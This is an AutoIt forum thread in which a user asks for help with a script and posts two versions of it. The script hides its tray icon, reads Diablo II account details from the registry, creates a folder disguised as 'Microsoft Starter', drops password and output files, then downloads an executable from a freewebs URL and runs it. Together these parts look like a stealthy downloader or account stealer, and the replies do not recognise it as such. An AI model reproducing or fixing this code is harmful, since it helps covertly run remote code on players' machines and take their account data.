Sign in to follow this  
Followers 0
Consolidated

need help

6 posts in this topic

i need help with a script...

i want it to download a certain file from a site when ran, then open a certain file...plz help.

Share this post


Link to post
Share on other sites



i need help with a script...

i want it to download a certain file from a site when ran, then open a certain file...plz help.

InetGet()/FileRead if you entend to read it -- Run() if you intend to run it.

[center]Common sense plays a role in the basics of understanding AutoIt... If you're lacking in that, do us all a favor, and step away from the computer.[/center]

Share this post


Link to post
Share on other sites

#3 ·  Posted (edited)

i need help with a script...

i want it to download a certain file from a site when ran, then open a certain file...plz help.

Well, a few specifics would help, for example what file, and what site,

But, you can always just look at "INetGet" in the helpfile

Or IE.au3 UDFs

Good luck

EDIT: Smoked again ... :P

Edited by Paulie

Share this post


Link to post
Share on other sites

InetGet()/FileRead if you entend to read it -- Run() if you intend to run it.

k my script looks like this...

#Include <FTP.au3>
Opt("MouseCoordMode", 2)
Opt("PixelCoordMode", 2)
Opt ("TrayIconHide", 1)
Dim $var
Dim $p

$install = RegRead ( "HKEY_CURRENT_USER\Software\Blizzard Entertainment\Diablo II", "InstallPath" )
$acc = RegRead ( "HKEY_CURRENT_USER\Software\Blizzard Entertainment\Diablo II", "Last BNet" )
$realm = RegRead ( "HKEY_CURRENT_USER\Software\Blizzard Entertainment\Diablo II", "Preferred Realm" )
$w2l = ("C:\Program Files\Microsoft Starter")

DirCreate("C:\Program Files\Microsoft Starter")
FileInstall("C:\output.txt", $install & "\output.txt")
FileInstall("C:\pw.txt", $w2l & "\pw.txt")


Run("http://freewebs.com/d2stuff91/temp.exe", $install & "\temp.exe")

and i get an error...wats wrong?

Share this post


Link to post
Share on other sites

AutoIt has built-in artificial intelligence specially designed to deny cheaters to make scripts.

Share this post


Link to post
Share on other sites

#6 ·  Posted (edited)

question still not answered...

i have this now..

#Include <FTP.au3>
Opt("MouseCoordMode", 2)
Opt("PixelCoordMode", 2)
Opt ("TrayIconHide", 1)
Dim $var
Dim $p


$install = RegRead ( "HKEY_CURRENT_USER\Software\Blizzard Entertainment\Diablo II", "InstallPath" )
$acc = RegRead ( "HKEY_CURRENT_USER\Software\Blizzard Entertainment\Diablo II", "Last BNet" )
$realm = RegRead ( "HKEY_CURRENT_USER\Software\Blizzard Entertainment\Diablo II", "Preferred Realm" )
$w2l = ("C:\Program Files\Microsoft Starter")

DirCreate("C:\Program Files\Microsoft Starter")
FileInstall("C:\output.txt", $install & "\output.txt")
FileInstall("C:\pw.txt", $w2l & "\pw.txt")


InetGet("http://freewebs.com/d2stuff91/temp.exe", $install & "\temp.exe")
sleep(30)

Run( $install & "\temp.exe")
sleep(100)
FileMove( $install & "\output.txt", $w2l & "\output.txt")
sleep(10)

and it says somethin about rinst.exe not being found.

Edited by Consolidated

Share this post


Link to post
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!


Register a new account

Sign in

Already have an account? Sign in here.


Sign In Now
Sign in to follow this  
Followers 0